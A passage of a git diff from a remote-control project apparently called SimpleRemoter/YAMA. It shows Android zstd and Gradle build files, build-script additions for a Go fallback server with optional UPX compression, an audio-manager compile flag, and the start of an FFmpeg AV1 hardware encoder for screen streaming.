"$HOME/Library/Android/sdk/ndk/$(ls "$HOME/Library/Android/sdk/ndk" 2>/dev/null | sort -V | tail -1)" \
|
||||
"$HOME/Android/Sdk/ndk/$(ls "$HOME/Android/Sdk/ndk" 2>/dev/null | sort -V | tail -1)"; do
|
||||
if [[ -f "${candidate}/build/cmake/android.toolchain.cmake" ]]; then
|
||||
ANDROID_NDK="$candidate"; break
|
||||
fi
|
||||
done
|
||||
fi
|
||||
[[ -z "${ANDROID_NDK:-}" ]] && { echo "Error: ANDROID_NDK not set"; exit 1; }
|
||||
TOOLCHAIN="$ANDROID_NDK/build/cmake/android.toolchain.cmake"
|
||||
echo "NDK: $ANDROID_NDK"
|
||||
|
||||
# --- 下载 zstd 源码 ---
|
||||
if [[ ! -d "$ZSTD_DIR" ]]; then
|
||||
echo "Downloading zstd $ZSTD_VERSION..."
|
||||
wget -q "$ZSTD_URL" -O "$ZSTD_TAR"
|
||||
tar xf "$ZSTD_TAR"
|
||||
rm "$ZSTD_TAR"
|
||||
fi
|
||||
|
||||
OUT_BASE="app/src/main/cpp/lib"
|
||||
ABIS=("arm64-v8a" "armeabi-v7a")
|
||||
for ABI in "${ABIS[@]}"; do
|
||||
BUILD_DIR="zstd_build/$ABI"
|
||||
OUT_DIR="$OUT_BASE/$ABI"
|
||||
rm -rf "$BUILD_DIR"
|
||||
echo
|
||||
echo "===== zstd $ABI ====="
|
||||
cmake \
|
||||
-B "$BUILD_DIR" -S "$ZSTD_DIR/build/cmake" \
|
||||
-DCMAKE_TOOLCHAIN_FILE="$TOOLCHAIN" \
|
||||
-DANDROID_ABI="$ABI" \
|
||||
-DANDROID_PLATFORM=android-21 \
|
||||
-DCMAKE_BUILD_TYPE=Release \
|
||||
-DCMAKE_C_FLAGS="-Os -g0" \
|
||||
-DZSTD_BUILD_STATIC=ON \
|
||||
-DZSTD_BUILD_SHARED=OFF \
|
||||
-DZSTD_BUILD_PROGRAMS=OFF \
|
||||
-DZSTD_BUILD_TESTS=OFF \
|
||||
-DZSTD_LEGACY_SUPPORT=0
|
||||
cmake --build "$BUILD_DIR" --config Release -j"$(nproc 2>/dev/null || sysctl -n hw.logicalcpu)"
|
||||
mkdir -p "$OUT_DIR"
|
||||
cp "$BUILD_DIR/lib/libzstd.a" "$OUT_DIR/libzstd.a"
|
||||
# strip residual debug symbols from the archive
|
||||
STRIP="$ANDROID_NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/llvm-strip"
|
||||
[[ -f "$STRIP" ]] && "$STRIP" --strip-debug "$OUT_DIR/libzstd.a"
|
||||
ls -lh "$OUT_DIR/libzstd.a"
|
||||
done
|
||||
|
||||
rm -rf zstd_build "$ZSTD_DIR"
|
||||
|
||||
echo
|
||||
echo "===== Done ====="
|
||||
echo "libzstd.a 已写入 app/src/main/cpp/lib/{arm64-v8a,armeabi-v7a}/"
|
||||
3
android/gradle.properties
Normal file
@@ -0,0 +1,3 @@
|
||||
android.useAndroidX=true
|
||||
android.enableJetifier=true
|
||||
org.gradle.jvmargs=-Xmx2048m
|
||||
BIN
android/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
7
android/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
distributionBase=GRADLE_USER_HOME
|
||||
distributionPath=wrapper/dists
|
||||
distributionUrl=https\://services.gradle.org/distributions/gradle-9.3.0-bin.zip
|
||||
networkTimeout=10000
|
||||
validateDistributionUrl=true
|
||||
zipStoreBase=GRADLE_USER_HOME
|
||||
zipStorePath=wrapper/dists
|
||||
248
android/gradlew
vendored
Normal file
@@ -0,0 +1,248 @@
|
||||
#!/bin/sh
|
||||
|
||||
#
|
||||
# Copyright © 2015 the original authors.
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# https://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
# SPDX-License-Identifier: Apache-2.0
|
||||
#
|
||||
|
||||
##############################################################################
|
||||
#
|
||||
# Gradle start up script for POSIX generated by Gradle.
|
||||
#
|
||||
# Important for running:
|
||||
#
|
||||
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
|
||||
# noncompliant, but you have some other compliant shell such as ksh or
|
||||
# bash, then to run this script, type that shell name before the whole
|
||||
# command line, like:
|
||||
#
|
||||
# ksh Gradle
|
||||
#
|
||||
# Busybox and similar reduced shells will NOT work, because this script
|
||||
# requires all of these POSIX shell features:
|
||||
# * functions;
|
||||
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
|
||||
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
|
||||
# * compound commands having a testable exit status, especially «case»;
|
||||
# * various built-in commands including «command», «set», and «ulimit».
|
||||
#
|
||||
# Important for patching:
|
||||
#
|
||||
# (2) This script targets any POSIX shell, so it avoids extensions provided
|
||||
# by Bash, Ksh, etc; in particular arrays are avoided.
|
||||
#
|
||||
# The "traditional" practice of packing multiple parameters into a
|
||||
# space-separated string is a well documented source of bugs and security
|
||||
# problems, so this is (mostly) avoided, by progressively accumulating
|
||||
# options in "$@", and eventually passing that to Java.
|
||||
#
|
||||
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
|
||||
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
|
||||
# see the in-line comments for details.
|
||||
#
|
||||
# There are tweaks for specific operating systems such as AIX, CygWin,
|
||||
# Darwin, MinGW, and NonStop.
|
||||
#
|
||||
# (3) This script is generated from the Groovy template
|
||||
# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
|
||||
# within the Gradle project.
|
||||
#
|
||||
# You can find Gradle at https://github.com/gradle/gradle/.
|
||||
#
|
||||
##############################################################################
|
||||
|
||||
# Attempt to set APP_HOME
|
||||
|
||||
# Resolve links: $0 may be a link
|
||||
app_path=$0
|
||||
|
||||
# Need this for daisy-chained symlinks.
|
||||
while
|
||||
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
|
||||
[ -h "$app_path" ]
|
||||
do
|
||||
ls=$( ls -ld "$app_path" )
|
||||
link=${ls#*' -> '}
|
||||
case $link in #(
|
||||
/*) app_path=$link ;; #(
|
||||
*) app_path=$APP_HOME$link ;;
|
||||
esac
|
||||
done
|
||||
|
||||
# This is normally unused
|
||||
# shellcheck disable=SC2034
|
||||
APP_BASE_NAME=${0##*/}
|
||||
# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036)
|
||||
APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit
|
||||
|
||||
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||
MAX_FD=maximum
|
||||
|
||||
warn () {
|
||||
echo "$*"
|
||||
} >&2
|
||||
|
||||
die () {
|
||||
echo
|
||||
echo "$*"
|
||||
echo
|
||||
exit 1
|
||||
} >&2
|
||||
|
||||
# OS specific support (must be 'true' or 'false').
|
||||
cygwin=false
|
||||
msys=false
|
||||
darwin=false
|
||||
nonstop=false
|
||||
case "$( uname )" in #(
|
||||
CYGWIN* ) cygwin=true ;; #(
|
||||
Darwin* ) darwin=true ;; #(
|
||||
MSYS* | MINGW* ) msys=true ;; #(
|
||||
NONSTOP* ) nonstop=true ;;
|
||||
esac
|
||||
|
||||
|
||||
|
||||
# Determine the Java command to use to start the JVM.
|
||||
if [ -n "$JAVA_HOME" ] ; then
|
||||
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||
# IBM's JDK on AIX uses strange locations for the executables
|
||||
JAVACMD=$JAVA_HOME/jre/sh/java
|
||||
else
|
||||
JAVACMD=$JAVA_HOME/bin/java
|
||||
fi
|
||||
if [ ! -x "$JAVACMD" ] ; then
|
||||
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
else
|
||||
JAVACMD=java
|
||||
if ! command -v java >/dev/null 2>&1
|
||||
then
|
||||
die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
|
||||
Please set the JAVA_HOME variable in your environment to match the
|
||||
location of your Java installation."
|
||||
fi
|
||||
fi
|
||||
|
||||
# Increase the maximum file descriptors if we can.
|
||||
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
|
||||
case $MAX_FD in #(
|
||||
max*)
|
||||
# In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.
|
||||
# shellcheck disable=SC2039,SC3045
|
||||
MAX_FD=$( ulimit -H -n ) ||
|
||||
warn "Could not query maximum file descriptor limit"
|
||||
esac
|
||||
case $MAX_FD in #(
|
||||
'' | soft) :;; #(
|
||||
*)
|
||||
# In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.
|
||||
# shellcheck disable=SC2039,SC3045
|
||||
ulimit -n "$MAX_FD" ||
|
||||
warn "Could not set maximum file descriptor limit to $MAX_FD"
|
||||
esac
|
||||
fi
|
||||
|
||||
# Collect all arguments for the java command, stacking in reverse order:
|
||||
# * args from the command line
|
||||
# * the main class name
|
||||
# * -classpath
|
||||
# * -D...appname settings
|
||||
# * --module-path (only if needed)
|
||||
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
|
||||
|
||||
# For Cygwin or MSYS, switch paths to Windows format before running java
|
||||
if "$cygwin" || "$msys" ; then
|
||||
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
|
||||
|
||||
JAVACMD=$( cygpath --unix "$JAVACMD" )
|
||||
|
||||
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||
for arg do
|
||||
if
|
||||
case $arg in #(
|
||||
-*) false ;; # don't mess with options #(
|
||||
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
|
||||
[ -e "$t" ] ;; #(
|
||||
*) false ;;
|
||||
esac
|
||||
then
|
||||
arg=$( cygpath --path --ignore --mixed "$arg" )
|
||||
fi
|
||||
# Roll the args list around exactly as many times as the number of
|
||||
# args, so each arg winds up back in the position where it started, but
|
||||
# possibly modified.
|
||||
#
|
||||
# NB: a `for` loop captures its iteration list before it begins, so
|
||||
# changing the positional parameters here affects neither the number of
|
||||
# iterations, nor the values presented in `arg`.
|
||||
shift # remove old arg
|
||||
set -- "$@" "$arg" # push replacement arg
|
||||
done
|
||||
fi
|
||||
|
||||
|
||||
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
|
||||
|
||||
# Collect all arguments for the java command:
|
||||
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments,
|
||||
# and any embedded shellness will be escaped.
|
||||
# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be
|
||||
# treated as '${Hostname}' itself on the command line.
|
||||
|
||||
set -- \
|
||||
"-Dorg.gradle.appname=$APP_BASE_NAME" \
|
||||
-jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \
|
||||
"$@"
|
||||
|
||||
# Stop when "xargs" is not available.
|
||||
if ! command -v xargs >/dev/null 2>&1
|
||||
then
|
||||
die "xargs is not available"
|
||||
fi
|
||||
|
||||
# Use "xargs" to parse quoted args.
|
||||
#
|
||||
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
|
||||
#
|
||||
# In Bash we could simply go:
|
||||
#
|
||||
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
|
||||
# set -- "${ARGS[@]}" "$@"
|
||||
#
|
||||
# but POSIX shell has neither arrays nor command substitution, so instead we
|
||||
# post-process each arg (as a line of input to sed) to backslash-escape any
|
||||
# character that might be a shell metacharacter, then use eval to reverse
|
||||
# that process (while maintaining the separation between arguments), and wrap
|
||||
# the whole thing up as a single "set" statement.
|
||||
#
|
||||
# This will of course break if any of these variables contains a newline or
|
||||
# an unmatched quote.
|
||||
#
|
||||
|
||||
eval "set -- $(
|
||||
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
|
||||
xargs -n1 |
|
||||
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
|
||||
tr '\n' ' '
|
||||
)" '"$@"'
|
||||
|
||||
exec "$JAVACMD" "$@"
|
||||
93
android/gradlew.bat
vendored
Normal file
@@ -0,0 +1,93 @@
|
||||
@rem
|
||||
@rem Copyright 2015 the original author or authors.
|
||||
@rem
|
||||
@rem Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@rem you may not use this file except in compliance with the License.
|
||||
@rem You may obtain a copy of the License at
|
||||
@rem
|
||||
@rem https://www.apache.org/licenses/LICENSE-2.0
|
||||
@rem
|
||||
@rem Unless required by applicable law or agreed to in writing, software
|
||||
@rem distributed under the License is distributed on an "AS IS" BASIS,
|
||||
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
@rem See the License for the specific language governing permissions and
|
||||
@rem limitations under the License.
|
||||
@rem
|
||||
@rem SPDX-License-Identifier: Apache-2.0
|
||||
@rem
|
||||
|
||||
@if "%DEBUG%"=="" @echo off
|
||||
@rem ##########################################################################
|
||||
@rem
|
||||
@rem Gradle startup script for Windows
|
||||
@rem
|
||||
@rem ##########################################################################
|
||||
|
||||
@rem Set local scope for the variables with windows NT shell
|
||||
if "%OS%"=="Windows_NT" setlocal
|
||||
|
||||
set DIRNAME=%~dp0
|
||||
if "%DIRNAME%"=="" set DIRNAME=.
|
||||
@rem This is normally unused
|
||||
set APP_BASE_NAME=%~n0
|
||||
set APP_HOME=%DIRNAME%
|
||||
|
||||
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
|
||||
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
|
||||
|
||||
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
|
||||
|
||||
@rem Find java.exe
|
||||
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||
|
||||
set JAVA_EXE=java.exe
|
||||
%JAVA_EXE% -version >NUL 2>&1
|
||||
if %ERRORLEVEL% equ 0 goto execute
|
||||
|
||||
echo. 1>&2
|
||||
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
|
||||
echo. 1>&2
|
||||
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||
echo location of your Java installation. 1>&2
|
||||
|
||||
goto fail
|
||||
|
||||
:findJavaFromJavaHome
|
||||
set JAVA_HOME=%JAVA_HOME:"=%
|
||||
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||
|
||||
if exist "%JAVA_EXE%" goto execute
|
||||
|
||||
echo. 1>&2
|
||||
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
|
||||
echo. 1>&2
|
||||
echo Please set the JAVA_HOME variable in your environment to match the 1>&2
|
||||
echo location of your Java installation. 1>&2
|
||||
|
||||
goto fail
|
||||
|
||||
:execute
|
||||
@rem Setup the command line
|
||||
|
||||
|
||||
|
||||
@rem Execute Gradle
|
||||
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %*
|
||||
|
||||
:end
|
||||
@rem End local scope for the variables with windows NT shell
|
||||
if %ERRORLEVEL% equ 0 goto mainEnd
|
||||
|
||||
:fail
|
||||
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||
rem the _cmd.exe /c_ return code!
|
||||
set EXIT_CODE=%ERRORLEVEL%
|
||||
if %EXIT_CODE% equ 0 set EXIT_CODE=1
|
||||
if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
|
||||
exit /b %EXIT_CODE%
|
||||
|
||||
:mainEnd
|
||||
if "%OS%"=="Windows_NT" endlocal
|
||||
|
||||
:omega
|
||||
16
android/settings.gradle
Normal file
@@ -0,0 +1,16 @@
|
||||
pluginManagement {
|
||||
repositories {
|
||||
google()
|
||||
mavenCentral()
|
||||
gradlePluginPortal()
|
||||
}
|
||||
}
|
||||
dependencyResolutionManagement {
|
||||
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
|
||||
repositories {
|
||||
google()
|
||||
mavenCentral()
|
||||
}
|
||||
}
|
||||
rootProject.name = "YAMA"
|
||||
include(":app")
|
||||
BIN
android/yama-release.jks
Normal file
@@ -1,6 +1,8 @@
|
||||
@echo off
|
||||
:: SimpleRemoter Quick Build Script
|
||||
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish]
|
||||
:: Usage: build.cmd [release|debug] [x64|x86|all] [server|clean|publish|go-server]
|
||||
:: go-server Build Go fallback server only -> Bin\YamaGo_x64.exe
|
||||
:: go-server publish Same, plus UPX --best compression
|
||||
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
@@ -18,6 +20,7 @@ if /i "%~1"=="all" (set PLATFORM=all& shift& goto :parse_args)
|
||||
if /i "%~1"=="server" (set EXTRA_ARGS=!EXTRA_ARGS! -ServerOnly& shift& goto :parse_args)
|
||||
if /i "%~1"=="clean" (set EXTRA_ARGS=!EXTRA_ARGS! -Clean& shift& goto :parse_args)
|
||||
if /i "%~1"=="publish" (set EXTRA_ARGS=!EXTRA_ARGS! -Publish& shift& goto :parse_args)
|
||||
if /i "%~1"=="go-server" (set EXTRA_ARGS=!EXTRA_ARGS! -GoServer& shift& goto :parse_args)
|
||||
echo Unknown argument: %~1
|
||||
shift
|
||||
goto :parse_args
|
||||
|
||||
103
build.ps1
@@ -15,11 +15,110 @@ param(
|
||||
|
||||
[switch]$ServerOnly, # Only build main server (Yama), skip client projects
|
||||
[switch]$Clean, # Clean before build
|
||||
[switch]$Publish # Publish mode: rebuild all deps + x64 Release + UPX compress
|
||||
[switch]$Publish, # Publish mode: rebuild all deps + x64 Release + UPX compress
|
||||
[switch]$GoServer # Build Go fallback server (server/go) -> Bin/YamaGo_x64.exe
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
$rootDir = $PSScriptRoot
|
||||
$binDir = Join-Path $rootDir "Bin"
|
||||
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
|
||||
|
||||
# Build Go fallback server. No-op (with warning) if Go compiler is not installed.
|
||||
# When -Compress is set, run UPX --best on the output (mirrors C++ publish flow).
|
||||
function Build-GoServer {
|
||||
param(
|
||||
[string]$Configuration,
|
||||
[switch]$Compress
|
||||
)
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "Building Go server (server/go)..." -ForegroundColor Magenta
|
||||
|
||||
$goCmd = Get-Command go -ErrorAction SilentlyContinue
|
||||
if (-not $goCmd) {
|
||||
Write-Host "WARNING: Go compiler not found in PATH. Skipping Go server build." -ForegroundColor Yellow
|
||||
Write-Host " Install from https://go.dev/dl/ and ensure 'go' is in PATH." -ForegroundColor DarkGray
|
||||
return $false
|
||||
}
|
||||
|
||||
Write-Host "Using Go: $($goCmd.Source)" -ForegroundColor Cyan
|
||||
|
||||
$goDir = Join-Path $rootDir "server\go"
|
||||
if (-not (Test-Path $goDir)) {
|
||||
Write-Host "ERROR: Go source directory not found at $goDir" -ForegroundColor Red
|
||||
return $false
|
||||
}
|
||||
|
||||
# Sync web assets (mirrors Makefile `sync` target — single source is server/web/index.html)
|
||||
$webSrc = Join-Path $rootDir "server\web\index.html"
|
||||
$webDstDir = Join-Path $goDir "web\assets"
|
||||
if (Test-Path $webSrc) {
|
||||
if (-not (Test-Path $webDstDir)) { New-Item -ItemType Directory -Path $webDstDir -Force | Out-Null }
|
||||
Copy-Item -Path $webSrc -Destination (Join-Path $webDstDir "index.html") -Force
|
||||
}
|
||||
|
||||
if (-not (Test-Path $binDir)) { New-Item -ItemType Directory -Path $binDir -Force | Out-Null }
|
||||
|
||||
$outFile = Join-Path $binDir "YamaGo_x64.exe"
|
||||
# Release strips debug info for smaller binary; Debug keeps symbols.
|
||||
$ldflags = if ($Configuration -eq "Debug") { "" } else { "-s -w" }
|
||||
|
||||
Push-Location $goDir
|
||||
try {
|
||||
$env:GOOS = "windows"
|
||||
$env:GOARCH = "amd64"
|
||||
if ($ldflags) {
|
||||
& go build -ldflags $ldflags -o $outFile ./cmd
|
||||
} else {
|
||||
& go build -o $outFile ./cmd
|
||||
}
|
||||
$code = $LASTEXITCODE
|
||||
} finally {
|
||||
Pop-Location
|
||||
}
|
||||
|
||||
if ($code -ne 0) {
|
||||
Write-Host "ERROR: Go build failed (exit $code)" -ForegroundColor Red
|
||||
return $false
|
||||
}
|
||||
|
||||
$size = (Get-Item $outFile).Length / 1MB
|
||||
Write-Host "OK: $outFile ($($size.ToString('F2')) MB)" -ForegroundColor Green
|
||||
|
||||
# In-place UPX compression. Failure is a warning, not an error — the
|
||||
# uncompressed binary is still usable, and UPX occasionally refuses on
|
||||
# certain PE sections.
|
||||
if ($Compress) {
|
||||
Write-Host ""
|
||||
Write-Host "UPX compressing Go server..." -ForegroundColor Magenta
|
||||
if (-not (Test-Path $upxPath)) {
|
||||
Write-Host "WARNING: UPX not found at $upxPath — skipping compression" -ForegroundColor Yellow
|
||||
} else {
|
||||
$sizeBefore = (Get-Item $outFile).Length / 1MB
|
||||
Write-Host " Before: $($sizeBefore.ToString('F2')) MB" -ForegroundColor DarkGray
|
||||
& $upxPath --best $outFile
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Host "WARNING: UPX compression failed, uncompressed binary kept" -ForegroundColor Yellow
|
||||
} else {
|
||||
$sizeAfter = (Get-Item $outFile).Length / 1MB
|
||||
$ratio = (1 - $sizeAfter / $sizeBefore) * 100
|
||||
Write-Host " After: $($sizeAfter.ToString('F2')) MB (-$($ratio.ToString('F1'))%)" -ForegroundColor Green
|
||||
}
|
||||
}
|
||||
}
|
||||
return $true
|
||||
}
|
||||
|
||||
# Go-only fast path: skip MSBuild entirely. -Publish here means "compress the
|
||||
# Go binary too" (not the full C++ publish flow).
|
||||
if ($GoServer) {
|
||||
$ok = Build-GoServer -Configuration $Config -Compress:$Publish
|
||||
if (-not $ok) { exit 1 }
|
||||
exit 0
|
||||
}
|
||||
|
||||
# Find MSBuild (VS2019 or VS2022, including Insiders/Preview)
|
||||
# Order: Prefer installations with v142 toolset (VS2019) over VS2022 BuildTools
|
||||
$msBuildPaths = @(
|
||||
@@ -72,9 +171,7 @@ elseif ($msBuild -match "\\18\\") { $vsYear = "2019 Insiders" }
|
||||
|
||||
Write-Host "Using MSBuild: $msBuild" -ForegroundColor Cyan
|
||||
|
||||
$rootDir = $PSScriptRoot
|
||||
$slnFile = Join-Path $rootDir "YAMA.sln"
|
||||
$upxPath = Join-Path $rootDir "server\2015Remote\res\3rd\upx.exe"
|
||||
|
||||
# Publish mode overrides
|
||||
if ($Publish) {
|
||||
|
||||
@@ -8,6 +8,8 @@
|
||||
#include <Mmsystem.h>
|
||||
#include <IOSTREAM>
|
||||
|
||||
#if ENABLE_AUDIO_MNG
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -127,3 +129,4 @@ BOOL CAudioManager::Initialize()
|
||||
m_bIsWorking = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
#endif
|
||||
|
||||
@@ -12,6 +12,10 @@
|
||||
#include "Manager.h"
|
||||
#include "Audio.h"
|
||||
|
||||
#if ENABLE_AUDIO_MNG==0
|
||||
#define CAudioManager CManager
|
||||
|
||||
#else
|
||||
|
||||
class CAudioManager : public CManager
|
||||
{
|
||||
@@ -28,5 +32,6 @@ public:
|
||||
CAudio* m_AudioObject;
|
||||
LPBYTE szPacket; // 音频缓存区
|
||||
};
|
||||
#endif
|
||||
|
||||
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
|
||||
|
||||
243
client/CFFmpegAV1Encoder.cpp
Normal file
@@ -0,0 +1,243 @@
|
||||
#include "CFFmpegAV1Encoder.h"
|
||||
#include "common/config.h"
|
||||
#include "common/logger.h"
|
||||
|
||||
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整个实现移出编译单元(FFmpeg lib 已在
|
||||
// CFFmpegH264Encoder.cpp 用同条件链接,此处不重复 #pragma comment)
|
||||
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||
|
||||
extern "C" {
|
||||
#include <libavcodec/avcodec.h>
|
||||
#include <libavutil/opt.h>
|
||||
#include <libavutil/imgutils.h>
|
||||
#include <libyuv/libyuv.h>
|
||||
}
|
||||
|
||||
#include <string.h>
|
||||
|
||||
// FFmpeg / 系统库已经由 CFFmpegH264Encoder.cpp 的 #pragma comment(lib) 引入。
|
||||
// 这里不再重复声明(重复 #pragma comment 在同一 link 单元不冲突但冗余)。
|
||||
|
||||
// av_opt_set 包装:拼错的参数值会被 FFmpeg 静默忽略,包一层日志便于发现。
|
||||
// 实现与 CFFmpegH264Encoder 内的 helper 相同;放成 static 文件内可见即可。
|
||||
static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
|
||||
int rc = av_opt_set(obj, name, val, 0);
|
||||
if (rc < 0) {
|
||||
char errbuf[128] = {0};
|
||||
av_strerror(rc, errbuf, sizeof(errbuf));
|
||||
Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
|
||||
name, val, backend, rc, errbuf);
|
||||
}
|
||||
}
|
||||
static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
|
||||
int rc = av_opt_set_int(obj, name, val, 0);
|
||||
if (rc < 0) {
|
||||
char errbuf[128] = {0};
|
||||
av_strerror(rc, errbuf, sizeof(errbuf));
|
||||
Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
|
||||
name, (long long)val, backend, rc, errbuf);
|
||||
}
|
||||
}
|
||||
|
||||
// AV1 硬编后端探测顺序,没有 av1_mf 兜底(FFmpeg 7.1 不支持)。
|
||||
// 全失败时 EncoderFactory 自动回退到 H.264 路径,行为对称。
|
||||
static const char* kAV1Backends[] = {
|
||||
"av1_nvenc", // NVIDIA RTX 40 / 50 系(Ada Lovelace+)
|
||||
"av1_amf", // AMD RX 7000+(RDNA 3+)
|
||||
"av1_qsv", // Intel Arc 独显 / 部分 11 代+ 核显
|
||||
};
|
||||
|
||||
CFFmpegAV1Encoder::CFFmpegAV1Encoder() = default;
|
||||
|
||||
CFFmpegAV1Encoder::~CFFmpegAV1Encoder() {
|
||||
close();
|
||||
}
|
||||
|
||||
void CFFmpegAV1Encoder::cleanupCodec() {
|
||||
if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
|
||||
if (m_frame) { av_frame_free(&m_frame); m_frame = nullptr; }
|
||||
if (m_ctx) { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
|
||||
}
|
||||
|
||||
void CFFmpegAV1Encoder::close() {
|
||||
cleanupCodec();
|
||||
m_backend.clear();
|
||||
m_pts = 0;
|
||||
m_forceIDR = false;
|
||||
}
|
||||
|
||||
bool CFFmpegAV1Encoder::open(const EncoderParams& params) {
|
||||
close();
|
||||
for (const char* name : kAV1Backends) {
|
||||
if (tryOpenBackend(name, params)) {
|
||||
m_backend = name;
|
||||
return true;
|
||||
}
|
||||
cleanupCodec();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool CFFmpegAV1Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
|
||||
const AVCodec* codec = avcodec_find_encoder_by_name(name);
|
||||
if (!codec) {
|
||||
// AV1 硬编没注册 = 老 ffmpeg lib 不含 AV1 encoder(compress\ffmpeg 没启用 av1)
|
||||
Mprintf("=> FFmpeg: AV1 encoder '%s' NOT in linked lib\n", name);
|
||||
return false;
|
||||
}
|
||||
|
||||
m_ctx = avcodec_alloc_context3(codec);
|
||||
if (!m_ctx) {
|
||||
Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
|
||||
return false;
|
||||
}
|
||||
|
||||
m_ctx->width = p.width & ~1;
|
||||
m_ctx->height = p.height & ~1;
|
||||
m_ctx->time_base = AVRational{1, p.fps};
|
||||
m_ctx->framerate = AVRational{p.fps, 1};
|
||||
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
|
||||
m_ctx->gop_size = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 15);
|
||||
m_ctx->max_b_frames = 0;
|
||||
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
|
||||
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
|
||||
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
|
||||
|
||||
// RC 策略与 H.264 路径对齐:peak-constrained VBR,远控静态画面省带宽。
|
||||
if (strcmp(name, "av1_nvenc") == 0) {
|
||||
// av1_nvenc preset p1~p7;远控 p5 兼顾质量与速度。
|
||||
// tile-columns=1 把帧切两列,解码端并行更友好(浏览器 AV1 解码常用 SIMD/多线程)
|
||||
